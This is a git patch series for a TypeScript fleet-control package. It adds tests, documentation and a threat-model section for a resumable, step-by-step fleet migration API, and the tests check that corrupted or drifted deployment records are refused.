expect(world.fleetStore.puts).toEqual([]); + const current = world.current(); + if (!current.migrationIntent) throw new Error('missing migration intent'); + world.fleetStore.set({ + ...current, + migrationIntent: { + ...current.migrationIntent, + ...(path === 'platform-only' + ? { + target: { + ...current.migrationIntent.target, + stateArtifactDigest: 'f'.repeat(64), + }, + } + : {}), + }, + ...(path === 'full' + ? { + pendingRelease: { + ...(current.pendingRelease as ExternalReleaseSnapshot), + physicalScriptName: 'foreign-pending', + }, + } + : {}), + }); + const failedStore = new MemoryOperationStore(); + const failedOptions = (action: FleetMigrationAdvanceAction) => ({ + ...world.options(action), + operationStore: failedStore, + }); + const pending = await advanceFleetMigration( + failedOptions({ + kind: 'start', + operationId: uuid(3), + records: [world.current()], + canaryTenantTags: [], + }), + ); + await expect( + advanceFleetMigration( + failedOptions({ kind: 'continue', token: pending.token }), + ), + ).rejects.toThrow( + 'migration retry uses a different desired specification', + ); + expect(failedStore.item(uuid(3))).toMatchObject({ status: 'failed' }); + expect(failedStore.item(uuid(3)).plan).toBeUndefined(); + expect(world.fleetStore.puts).toEqual([]); + } + }); + + it('retire-post follows the ready commit and refuses a restored migrating carrier', async () => { + for (const restored of [false, true]) { + const world = createWorld({ external: true }); + world.fleetStore.set({ + ...world.initial, + rollbackRelease: { + ...world.priorRelease, + physicalScriptName: 'expired-rollback', + }, + }); + const beforeCommit = await advanceTo(world, 'settle-ready'); + const migrating = copy(world.current()); + const committed = await continueWorld(world, beforeCommit); + expect(world.current().phase).toBe('ready'); + expect( + world.operationStore.item().plan?.[ + world.operationStore.item().planCursor ?? -1 + ]?.step, + ).toBe('retire-post'); + if (restored) world.fleetStore.set(migrating); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + if (restored) { + await expect(continueWorld(world, committed)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expect(world.ops.some((op) => op.startsWith('retire:'))).toBe(false); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(world.operationStore.item().status).toBe('failed'); + } else { + await continueWorld(world, committed); + expect(world.ops).toContain('retire:expired-rollback'); + expect(world.current().retiringRelease).toBeUndefined(); + expect(world.operationStore.item().status).toBe('complete'); + } + } + }); + + it('terminal re-runs short-circuit exactly the converged projection and preserve its documented accepted classes', async () => { + async function terminal( + world: World, + step: 'settle-ready' | 'platform-only-ready', + ) { + const token = await advanceTo(world, step); + const item = world.operationStore.item(); + world.operationStore.loseCommit = 'before'; + await expect(continueWorld(world, token)).rejects.toThrow( + 'progress response lost', + ); + expect(world.current().phase).toBe('ready'); + expect(world.operationStore.item()).toEqual(item); + return { token, item }; + } + async function directProjection( + world: World, + item: FleetMigrationItem, + accepts: boolean, + ) { + await withAdmitted(world, async ({ admitted, reread }) => { + if (!item.plan || item.planCursor === undefined) + throw new Error('missing terminal cursor'); + world.ops.length = 0; + const platformOnly = + item.plan[item.planCursor]?.step === 'platform-only-ready'; + if (!accepts) { + await expect( + assertFleetMigrationPlanCompatibility( + admitted, + { plan: item.plan, planCursor: item.planCursor }, + reread, + ), + ).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expect(world.ops).toEqual([]); + if (platformOnly) return; + } + if (!accepts) + world.backend.inspect = async () => { + world.ops.push('projection-fallback'); + throw new Error('terminal projection did not accept'); + }; + const result = executeNextMigrationStep( + admitted, + item.plan, + item.planCursor, + { entry: reread, current: reread }, + ); + if (accepts) { + const terminalResult = await result; + expect(terminalResult.record).toBe(reread); + expect(terminalResult.done).toBe(platformOnly); + expect(terminalResult.resultOnDone).toBe( + platformOnly ? reread : undefined, + ); + expect(world.ops).toEqual([]); + } else + await expect(result).rejects.toThrow( + 'terminal projection did not accept', + ); + }); + } + for (const path of ['full', 'platform-only'] as const) { + const world = createWorld({ + path, + external: true, + lagging: path === 'platform-only', + }); + const { token, item } = await terminal( + world, + path === 'full' ? 'settle-ready' : 'platform-only-ready', + ); + if (path === 'platform-only') { + expect( + world.current().activeRelease?.releaseSchemaVersion, + ).toBeLessThan(world.current().schemaVersion); + expect(world.current().platformTarget?.d1SchemaVersion).toBe(2); + expect(world.targetFor(world.spec).d1SchemaVersion).toBe(1); + } + await directProjection(world, item, true); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await continueWorld(world, token); + expect( + world.ops.filter( + (op) => + !/^(backend:|spec:|secrets:)/u.test(op) && + ![ + 'releaseScriptName', + 'describeTarget', + 'getDatabase', + 'readDeploymentIdentity', + ].includes(op), + ), + ).toEqual([]); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(world.operationStore.item().planCursor).toBe( + (item.planCursor ?? 0) + 1, + ); + } + const fullDowngrade = createWorld({ external: true }); + const fullTerminal = await terminal(fullDowngrade, 'settle-ready'); + fullDowngrade.fleetStore.set({ + ...fullDowngrade.current(), + schemaVersion: 4, + }); + await expect( + continueWorld(fullDowngrade, fullTerminal.token), + ).rejects.toThrow('schema downgrade refused for cedar:production'); + + const premature = createWorld({ path: 'platform-only', lagging: true }); + const beforeAdmission = await continueWorld( + premature, + await premature.start(), + ); + premature.fleetStore.set({ + ...premature.current(), + platformTarget: { + ...premature.targetFor(premature.spec), + d1SchemaVersion: 2, + d1SchemaHistoryDigest: 'f'.repeat(64), + }, + }); + const prematurePuts = premature.fleetStore.puts.length; + await expect(continueWorld(premature, beforeAdmission)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expect(premature.fleetStore.puts).toHaveLength(prematurePuts); + + const corruptions: readonly [ + string, + (record: FleetRecord) => FleetRecord, + ][] = [ + [ + 'policy', + (record) => ({ + ...record, + outboundPolicy: { + ...(record.outboundPolicy as NonNullable< + FleetRecord['outboundPolicy'] + >), + policyHosts: ['wrong.example.test'], + }, + }), + ], + ['schema', (record) => ({ ...record, schemaVersion: 2 })], + [ + 'pending digest', + (record) => ({ ...record, pendingSpecDigest: 'f'.repeat(64) }), + ], + [ + 'pending artifact', + (record) => ({ ...record, pendingArtifactVersion: 'unsettled' }), + ], + [ + 'pending release', + (record) => ({ ...record, pendingRelease: record.activeRelease }), + ], + [ + 'prior release', + (record) => ({ + ...record, + migrationPriorRelease: record.activeRelease, + }), + ], + [ + 'cleared target', + (record) => { + const copy = { ...record }; + delete copy.platformTarget; + return copy; + }, + ], + [ + 'active name', + (record) => ({ + ...record, + activeRelease: { + ...(record.activeRelease as ExternalReleaseSnapshot), + physicalScriptName: 'foreign-active', + }, + }), + ], + [ + 'active schema', + (record) => ({ + ...record, + activeRelease: { + ...(record.activeRelease as ExternalReleaseSnapshot), + releaseSchemaVersion: 1, + }, + }), + ], + [ + 'bindings', + (record) => ({ + ...record, + applicationBindings: { + ...EMPTY_APPLICATION, + vars: [{ name: 'WRONG', value: '1' }], + }, + }), + ], + ]; + for (const [_label, corrupt] of corruptions) { + const world = createWorld({ external: true }); + const { item } = await terminal(world, 'settle-ready'); + world.fleetStore.set(corrupt(world.current())); + await directProjection(world, item, false); + } + const wrongPoPolicy = createWorld({ path: 'platform-only', lagging: true }); + const poTerminal = await terminal(wrongPoPolicy, 'platform-only-ready'); + const corruptPolicy = corruptions[0]?.[1]; + if (!corruptPolicy) throw new Error('missing policy corruption'); + wrongPoPolicy.fleetStore.set(corruptPolicy(wrongPoPolicy.current())); + await directProjection(wrongPoPolicy, poTerminal.item, false); + + for (const foreignRetirement of [false, true]) { + const world = createWorld({ external: true }); + const { token, item } = await terminal(world, 'settle-ready'); + const current = world.current(); + if (!current.platformResources) + throw new Error('missing platform resources'); + world.fleetStore.set( + foreignRetirement + ? { + ...current, + retiringRelease: { + ...world.priorRelease, + physicalScriptName: 'foreign-retiring', + }, + } + : { + ...current, + platformResources: { + ...current.platformResources, + stateWorker: { + ...current.platformResources.stateWorker, + artifactVersion: 'corrupted-spread-field', + }, + }, + }, + ); + await directProjection(world, item, true); + const after = await continueWorld(world, token); + if (foreignRetirement) { + await continueWorld(world, after); + expect(world.ops).toContain('retire:foreign-retiring'); + } + } + + const resourceWorld = createWorld(); + resourceWorld.spec = { + ...resourceWorld.spec, + application: { vars: [], secrets: [], r2Buckets: [{ name: 'ASSETS' }] }, + }; + const resource = { + name: 'ASSETS', + bucketName: 'owned-bucket', + jurisdiction: 'default' as const, + state: 'created' as const, + reservationNonce: 'test-reservation', + creationDate: '2026-08-01T00:00:00.000Z', + }; + resourceWorld.fleetStore.set({ + ...resourceWorld.initial, + applicationResources: [resource], + applicationBindings: applicationBindingTopology(resourceWorld.spec, [ + resource, + ]), + }); + const { item: resourceItem } = await terminal( + resourceWorld, + 'settle-ready', + ); + const resourceRecord = resourceWorld.current(); + resourceWorld.fleetStore.set({ + ...resourceRecord, + applicationResources: [{ ...resource, bucketName: 'foreign-bucket' }], + applicationBindings: { + ...EMPTY_APPLICATION, + r2Buckets: [ + { + name: resource.name, + bucketName: 'foreign-bucket', + jurisdiction: resource.jurisdiction, + }, + ], + }, + }); + await directProjection(resourceWorld, resourceItem, true); + + const historyWorld = createWorld(); + const history = [ + { tag: 'v1', newClasses: ['Runner'] }, + { tag: 'v2', newClasses: ['Second'] }, + { tag: 'v3', newClasses: ['Third'] }, + ]; + historyWorld.spec = { + ...historyWorld.spec, + previousDurableObjectTag: 'v1', + durableObjectMigrations: history, + }; + historyWorld.fleetStore.set({ + ...historyWorld.initial, + durableObjectTag: 'v1', + durableObjectMigrationHistory: history.slice(0, 1), + durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest( + history.slice(0, 1), + ), + }); + const { item: historyItem } = await terminal(historyWorld, 'settle-ready'); + historyWorld.fleetStore.set({ + ...historyWorld.current(), + durableObjectTag: 'v1', + durableObjectMigrationHistory: history.slice(0, 1), + durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest( + history.slice(0, 1), + ), + }); + await directProjection(historyWorld, historyItem, true); + + const reordered = createWorld({ external: true }); + const reorderedTerminal = await terminal(reordered, 'settle-ready'); + reordered.fleetStore.transformRead = (record) => { + const fresh = copy(record); + return { + ...fresh, + platformTarget: Object.fromEntries( + Object.entries(fresh.platformTarget ?? {}).reverse(), + ) as unknown as ExternalPlatformTargetDescription, + }; + }; + await withAdmitted(reordered, async ({ plan, reread }) => { + expect(reread).not.toBe(reordered.current()); + expect(plan.some(({ step }) => step.startsWith('platform-only-'))).toBe( + true, + ); + }); + await expect( + continueWorld(reordered, reorderedTerminal.token), + ).rejects.toThrow('fleet migration item no longer matches its frozen plan'); + }); +}); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index 13736cea..fcb4e0e7 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -220,6 +220,35 @@ describe('fleet operation state', () => { expect(fleetMigrationItemFromUnknown(migrationItem(status)).status).toBe( status, ); + for (let presence = 0; presence < 8; presence += 1) { + const admitted = migrationItem( + status === 'complete' ? 'complete' : 'active', + ); + if (!('plan' in admitted)) + throw new Error('missing admitted fixture fields'); + const candidate = { + ...migrationItem('pending'), + status, + ...(presence & 1 + ? { targetSpecDigest: admitted.targetSpecDigest } + : {}), + ...(presence & 2 ? { plan: admitted.plan } : {}), + ...(presence & 4 ? { planCursor: admitted.planCursor } : {}), + }; + const accepted = + status === 'pending' + ? presence === 0 + : status === 'failed' + ? presence === 0 || presence === 7 + : presence === 7; + if (accepted) { + expect(fleetMigrationItemFromUnknown(candidate)).toEqual(candidate); + } else { + expect(() => fleetMigrationItemFromUnknown(candidate)).toThrow( + FleetOperationStateError, + ); + } + } } expect(() => fleetMigrationItemFromUnknown({ From e3edf876a016c02ca8e0d15cdfec2a1e8c70c0f1 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 5 Sep 2026 22:27:22 +0400 Subject: [PATCH 074/169] feat(fleet-control): publish resumable fleet migration API Export bounded migration actions, results and item metadata, and complete the 46-title crash/fence suite with permanent callback/clock, entry-view and concrete history-refusal regressions. Document durability, limits, costs and known recovery/store boundaries. Verify packed public exports while keeping implementation helpers private. Restore missing Fleet API shapes with TypeDoc annotations and fail package conversions on warnings. Verification: 478 scoped tests, three baseline checks, Fleet build and typechecks, Biome, architecture 31/31, docs checks/API generation, packed consumer and four independent review lanes. This closes the migration publication checkpoint, not the curated Worker entry, live lifecycle proof, release or overall Worker-provisioner goal. --- .changeset/bounded-fleet-migration.md | 9 + docs/fleet-control.md | 63 + docs/security-threat-model.md | 14 + packages/fleet-control/README.md | 2 + .../scripts/packed-consumer-test.mjs | 93 + .../src/d1-fleet-inventory-run-store.ts | 1 + .../src/d1-fleet-operation-store.ts | 1 + .../src/fleet-inventory-state.ts | 23 +- .../src/fleet-migration-state.ts | 1 + .../src/fleet-operation-state.ts | 2 + packages/fleet-control/src/index.ts | 17 + .../test/backend-switch-provider.test.ts | 30 +- .../test/fleet-migration-advance.test.ts | 1736 ++++++++++++++++- .../fleet-control/test/state-store.test.ts | 38 + scripts/build-api-docs.mjs | 1 + 15 files changed, 2022 insertions(+), 9 deletions(-) create mode 100644 .changeset/bounded-fleet-migration.md diff --git a/.changeset/bounded-fleet-migration.md b/.changeset/bounded-fleet-migration.md new file mode 100644 index 00000000..b6f681f8 --- /dev/null +++ b/.changeset/bounded-fleet-migration.md @@ -0,0 +1,9 @@ +--- +"@proofoftech/fleet-control": minor +--- + +Add durable fleet upgrades through `advanceFleetMigration()`, with a frozen target digest and per-item plan, one admission or plan step per call, first-error stopping, item paging and explicit abandonment. The bounded API requires a `FleetOperationStore` alongside the existing deployment store; custom deployment stores can continue using the one-call `migrateFleet()` drain. + +Fleet and provider state remain mutation authority. Continuations re-read that state under per-call deployment leases and recover cursor-loss windows through the shared migration engine. Public documentation describes accepted inter-call races, strict fresh-admission limits after Durable Object tag movement, at-least-once settlement, operation-store convergence residuals, and the repeated resolver/provider and whole-item-read costs. One step is not a fixed provider-request, CPU or row-read budget. + +The existing drain retains its recorded ordering and behavior apart from the separately documented correction to target application-binding validation during plain Worker upgrades. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index dd8780a5..40048a79 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -152,6 +152,69 @@ The 0.4 public surface has these breaking requirements: Fleet control 0.4 depends on exactly one matching Flowsafe 0.20 runtime copy. Upgrade a direct Flowsafe 0.19 dependency at the same time to avoid a second nominal runtime copy. +## Upgrade a fleet in resumable steps + +Use `advanceFleetMigration()` when a driver must release execution between migration steps. It uses the same deployment mutation engine as `migrateFleet()`, with a separate durable operation record and frozen per-item plan. This is the ongoing upgrade path for durable deployments, not an import mechanism for a previous provisioner's state. The root package remains a trusted control-plane entry; this API alone does not make the root entry Worker-compatible. + +Construct `D1FleetOperationStore(database, { accountId })` over the Fleet database port, or supply a conforming `FleetOperationStore`. Keep the existing `FleetStateStore`, backend, specification and secret resolvers. The bounded options name the deployment store `fleetStore`; the one-call drain still names it `store`. Both paths accept the existing finalized-state, settlement, route-attestation and clock options. + +Persist a caller-minted lowercase UUIDv4 operation ID and the original start input before dispatch. In this example, `migrationOptions` contains the trusted stores and resolvers, and `records` is the caller's fleet snapshot: + +```typescript +import { advanceFleetMigration } from '@proofoftech/fleet-control'; + +const result = await advanceFleetMigration({ + ...migrationOptions, + action: { + kind: 'start', + operationId, + records, + canaryTenantTags: ['canary'], + }, +}); +``` + +A start snapshots its input before awaiting, preserves the drain's canary ordering, and stages only item keys, rank, provenance digest and pending status. Repeated canary tags use their last position; equal canary ranks remain stable. Start invokes no deployment resolver or provider. If staging stops at revision zero, replay the same start with its original input; a continue cannot reconstruct that input from a token. + +For a pending result, durably enqueue its token. The next delivery makes one call using the same trusted options: + +```typescript +const result = await advanceFleetMigration({ + ...migrationOptions, + action: { kind: 'continue', token }, +}); +``` + +The first item call reads current Fleet state under its deployment lease and records the target specification digest, frozen plan and cursor zero without mutating the deployment. Later calls re-read Fleet state, re-resolve trusted inputs, validate the frozen target and plan, then execute one step. One step can include several provider requests; this API has no provider-request budget option. After the last item finishes, another call finalizes the operation. A complete result returns counts and finalization time, not a replacement fleet snapshot. + +Stale tokens return current durable authority without provider work. Future, unknown-operation and wrong-kind tokens fail closed. A replayed start must have the same intake digest: a progressed operation returns current authority rather than replacing its items. Treat tokens as continuation claims, never as authorization to select an account, backend, specification or credential. + +The limits apply together: + +- At most 10,000 records and 16 MiB summed across canonical record bytes +- At most 96 KiB per input record; plain JSON within depth 64, 8,192 nodes, and 4 KiB per string or object key +- Deployment identifier grammar for every record's tenant and environment +- At most 64 frozen plan entries per item +- Item page and explicit prune limits from 1 through 1,000 + +The canary envelope is separately checked by the same plain-data and byte codec, then included in the intake digest. Its bytes do not count toward the record sum. + +An admission or step error invokes one failure commit for the item and operation. After that commit succeeds, the original error is rethrown to the trusted caller; later ordinals do not run. Durable failure data contains only the reason and optional item ordinal, never the original exception or secrets. `target-drift` means the frozen-digest check refused after the shared preamble succeeded; an earlier mapping or migration-intent refusal remains `item-failed`. Retrying a failed token returns the failed result. Remediate the cause and start a new operation only where strict admission accepts the persisted deployment state. Operation-store corruption or a failed progress/failure commit propagates rather than masquerading as a successful transition. + +Use `readFleetMigrationItemsPage(operationStore, { operationId, afterOrdinal, limit })` while running or after termination. Pages contain ordered item metadata; pass the last item's ordinal as the next exclusive cursor and stop at `done`. `abandonFleetMigrationOperation({ operationStore, operationId })` fails a running operation and its available active item as `operator-abandoned`, releases its active-operation slot, and does nothing to a terminal operation. Abandonment does not undo provider or Fleet mutations. `D1FleetOperationStore` retains terminal operations until explicit `pruneFleetOperations` and protects the latest finalized operation per kind. Custom stores choose their own terminal retention policy and must preserve active heads. Pruning never substitutes for abandoning a running operation. + +### Recovery and cost boundaries + +Each call holds the account's migration-kind lease and then one deployment lease. It releases the deployment lease before committing operation progress. Fleet and provider state remain mutation authority; the plan and cursor sequence work. A lost progress response can therefore repeat a step against its already-committed deployment state. Admission avoids a repeated migrating write, ledgered D1 work verifies or reuses applied migrations, ordinary candidate upload can adopt by inspection, and external candidate upload repeats the same artifact. A repeated pending-topology step can write only a new timestamp; terminal convergence does not skip the remaining retirement step. Settlement delivery retains its existing at-least-once contract. + +Operation progress uses wall-clock `updatedAt`, independently of the optional deployment clock. Recomposition conflicts when whole-record bytes differ; coincident timestamps can produce equal bytes and reach row comparison. A batch's own lost response or identical-object replay retains its intended bytes. Every new continue derives its transition from persisted authority rather than replaying an old update object. + +The bounded path reruns the admission preamble and applicable carrier assertions for each step, where the drain pays admission once per item. It also reads every item to choose work and again to render a pending result, except when no active item remains. Without retries or failures, N items and K successful admission/step transitions require 2K full item reads, each paging at 1,000 rows: O(KN) item payload processing, or O(N²P) for comparable plan lengths P. A stale or adopted-running pending result adds one full read. The D1 progress guards also count the complete item prefix. This is a per-step provider-work bound, not a constant CPU, latency or database-row-read guarantee; size the fleet for the execution host and measure its actual runtime. + +Per-call leases permit another lifecycle driver to act between steps. The frozen-target and plan fences reject incompatible phases, intent changes, backward progress and invalid carriers, but do not globally lock independent provider credentials. A READY plan can leave and re-enter the same ready discriminator between calls; later steps still converge or refuse against current state. Terminal projection checks deliberately share the drain's narrower comparison rather than revalidate every spread-through resource/history field. The [bounded migration threat boundary](security-threat-model.md#bounded-fleet-migration) describes those accepted classes and the operation-store residuals. + +Durable Object tag movement has an additional recovery limit. Continuations accept the recorded target tag or the consistent external finalized-state tag/resource pair. Fresh admission remains strict about the previous tag, just like the drain. A new operation over an external record whose tag already moved can therefore refuse on both the completed and interrupted paths. An operation that is still running after a lost progress response can resume with its continuation. A durably failed operation cannot: neither its failed token nor a new operation ID repairs the post-tag-move admission dead-end. This API provides no reset or repair operation for that state; abandonment does not supply one. + ## Switch a plain deployment to Workers for Platforms Use `switchPlainDeploymentToWorkersForPlatforms()` only for an existing platform-authored deployment that must accept external releases without moving D1 data or Durable Object namespaces. The switch stores its intent in the canonical fleet row and holds the same `FleetStateLease` used by provision, migration, rollback, and decommission. Those lifecycle operations reject an active switch. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 867d5b5f..21eafa17 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -182,6 +182,20 @@ An audit start pins exactly one finalized R3 inventory generation before it stag Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. +### Bounded fleet migration + +`advanceFleetMigration()` stores sequencing metadata in the account's Fleet operation store. Start snapshots bounded plain-JSON intake before awaiting and persists only each item's ordinal, tenant/environment keys, optional canary rank, entry-record digest and status. Admission resolves the current deployment under its lease and adds the target digest, frozen plan and cursor. Items never persist the caller's deployment record, module bytes, secret values or provider diagnostics. The trusted caller receives original thrown errors and must protect that channel separately; durable failures contain only an enum reason and optional item ordinal. + +The account migration-kind lease serializes migration drivers. Each advance also takes the active deployment's lease, re-reads Fleet state, validates target/plan compatibility and executes at most one step. The deployment lease ends before the operation progress commit. Provider/Fleet state is mutation authority; the cursor is sequencing authority and can lag a completed mutation after a crash. A token carries only version, operation ID and revision, and grants no account or deployment authority. The host supplies authenticated stores, backend selection, specifications and credentials on every call. + +The shared preamble's Durable Object base expectation differs for initial admission and continuation revalidation. Revalidation accepts the previous tag, the platform-authored target, or the consistent external finalized-state tag/resource pair. It also checks the frozen target digest before the non-ready guards and retains the frozen platform-only classification for the schema-downgrade guard after platform convergence. A foreign self-consistent external pair remains an accepted legacy class; a subsequent reconcile overwrites it only when reconciliation actually runs and returns a different target. A bare tag without its required history or resource pair fails closed, possibly in an earlier store/provider validation. Fresh admission remains strict, including the existing external post-move dead-end on completed and interrupted records. Abandoning an operation does not make those records admissible or roll back their mutations. + +The fence rejects target drift after the shared preamble, opposite or missing migration intent, incompatible phase changes, unreachable or backward subphases, completed-schema regressions, lost candidate identity and missing required backfill. It re-runs carrier assertions after their plan cursor. Terminal convergence is considered only at or after the terminal-commit entry, so another actor's earlier convergence cannot silently skip planned work. Its projection intentionally preserves the drain's accepted spread-through resource/history fields, consistent application-resource/binding changes, and foreign retirement snapshot class; it is not a full integrity audit of a ready record. READY leave/re-entry with the same digest and discriminator is also accepted, and later steps must converge or refuse against current state. Independent provider writers can still race observations; bounded calls widen that inter-call window without introducing a global provider lock. + +The operation store checks claimed row prefixes before comparing intended and persisted run records on convergence; only matching run bytes proceed to row-byte comparison. Coordinator progress restamps wall-clock time, so recomposed retries conflict only when their bytes actually differ. Migration initialization stages deterministic pending rows, and later changes use `updateRows`. The existing D1 store's successful `INSERT ... ON CONFLICT DO NOTHING` path can nevertheless advance over different already-staged bytes without comparing them; migration does not rely on that path to replace item data. This residual remains a store contract limitation, not a repaired property. A missing target row also has different existing refusal identities: conflict for `commitProgress`, divergence for `failOperation` when its convergence comparison reaches that check. + +Every routine work selection and pending response currently validates the entire item set, including density, count and payload codecs. That reread is not an atomic snapshot against out-of-band D1 writers; transactional prefix/count guards remain necessary. Item payload processing is O(N²P) across N comparable P-step migrations, and D1 prefix counts remain fleet-sized per progress commit. The API bounds step execution rather than total CPU or billed rows read. See [resumable upgrade limits and recovery](fleet-control.md#upgrade-a-fleet-in-resumable-steps) before sizing a Worker driver. + ### Deployment sentinel Provisioning writes the same stable tag to two independent locations: diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index ba56f214..99edd11f 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -65,6 +65,8 @@ Construct `CloudflareProvisioningClient` with a `CloudflareApiRateCoordinator`. Plain-worker, dispatch-worker, backend-switch, and control-worker inspection consumes every provider binding entry before exact attestation. Unknown types, malformed entries, duplicate names, unrepresented bindings, and missing complete inventories fail closed, including expected-empty groups. Secret names come from the authoritative secret-list API when ordinary version resources omit them. Wrangler-backed D1 ownership, migrations, exact-ID lookup, and deletion use Cloudflare's direct APIs. Every mutation runs under the active mutation fence. D1 deletion treats only provider 404 as absence and confirms that the immutable ID is absent without spawning `wrangler d1 delete`. A custom `PlainWorkerRouteApi` must provide `getDatabase` and `deleteDatabase` before destructive D1 teardown; Fleet Control fails closed when either capability is absent. SQLite recognizes anonymous `?` and numbered `?NNN` parameters, literals, quoted identifiers, and comments without string replacement. D1 does not support named SQLite parameters. +Use `advanceFleetMigration()` for durable, caller-driven upgrades one admission or frozen plan step at a time. It adds a `FleetOperationStore` beside the deployment store, returns continuation tokens, and exposes running item metadata through `readFleetMigrationItemsPage()`. `abandonFleetMigrationOperation()` fails an operation without rolling back deployment mutations; `migrateFleet()` remains the one-call drain. Read the [recovery and cost boundaries](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#upgrade-a-fleet-in-resumable-steps) before choosing an operation size. The root entry remains control-plane-only and is not the curated Worker entry. + Use `advanceDecommissionDeployment()` for Queue-driven bounded normal teardown. Use root-only `advanceBackendSwitchDecommission()` for one bounded backend-switch step from a trusted Node control plane. Both APIs return durable continuation tokens and perform at most one scan chunk or one lifecycle/resource action group per call. Their asynchronous one-call compatibility paths drain the same engines for existing callers. Use `advanceCleanupDeployment()` for bounded no-export cleanup of an owned prepublication deployment, and `cleanupDeploymentArtifacts()` as its asynchronous one-call drain. Eligibility is classified by `classifyCleanupDatabaseEligibility()` from the durable invocation-authority carrier: deployments whose candidate invocation was durably authorized, Workers for Platforms and external-artifact candidates, and ambiguous legacy rows refuse toward export-backed decommissioning. A completed cleanup persists an immutable operation-keyed terminal receipt and releases the deployment's ownership claims atomically with its row deletion; read receipts with `D1FleetStateStore.readCleanupReceipt()` and prune them explicitly with `pruneCleanupReceipts()`. A failed provision whose rollback admits the engine stays durably `cleanup-advancing` until the cleanup completes, and `provisionDeployment({ failureCleanup: 'bounded' })` surfaces the resumable outcome through `ProvisioningError.cleanup`. diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index e610574e..ee92e3c5 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -194,6 +194,7 @@ try { DecommissionAdvanceTokenOperationError, D1CloudflareApiRateCoordinator, FileSystemDatabaseExportStore, + FleetMigrationAdvanceCapabilityError, PlainWorkerBackend, ProcessLocalCloudflareApiRateCoordinator, ProvisioningError, @@ -205,6 +206,9 @@ try { auditFleetDrift, advanceBackendSwitchDecommission, advanceDecommissionDeployment, + abandonFleetMigrationOperation, + advanceFleetMigration, + readFleetMigrationItemsPage, decommissionDeployment, forceDecommissionDeployment, deploymentSpecDigest, @@ -217,6 +221,7 @@ try { type AttestConvergedActiveRouteOptions, type AdvanceBackendSwitchDecommissionOptions, type AdvanceDecommissionDeploymentOptions, + type AdvanceFleetMigrationOptions, type BackendSwitchProvider, type CloudflareApiPlainWorkerBackendOptions, type CloudflareApiRateCoordinator, @@ -244,6 +249,14 @@ try { type DurableDatabaseExportStore, type ExternalMutationFence, type FleetRecord, + type FleetMigrationAdvanceAction, + type FleetMigrationAdvanceCapability, + type FleetMigrationAdvanceResult, + type FleetMigrationItem, + type FleetMigrationPlanEntry, + type FleetMigrationProgress, + type FleetMigrationResultRef, + type FleetMigrationStep, type FleetStateStore, type FleetSettlementContext, type FleetSettlementEntry, @@ -271,6 +284,16 @@ try { type SeedDeploymentIdentityOptions, type WorkersForPlatformsApi, } from '@proofoftech/fleet-control'; +// @ts-expect-error migration admission is package-private. +import { admitFleetMigrationItem } from '@proofoftech/fleet-control'; +// @ts-expect-error migration revalidation is package-private. +import { revalidateFleetMigrationAdmission } from '@proofoftech/fleet-control'; +// @ts-expect-error migration plan compatibility is package-private. +import { assertFleetMigrationPlanCompatibility } from '@proofoftech/fleet-control'; +// @ts-expect-error migration carrier validation is package-private. +import { assertMigratingCarrierState } from '@proofoftech/fleet-control'; +// @ts-expect-error the migration step executor is package-private. +import { executeNextMigrationStep } from '@proofoftech/fleet-control'; // @ts-expect-error R1's client friend 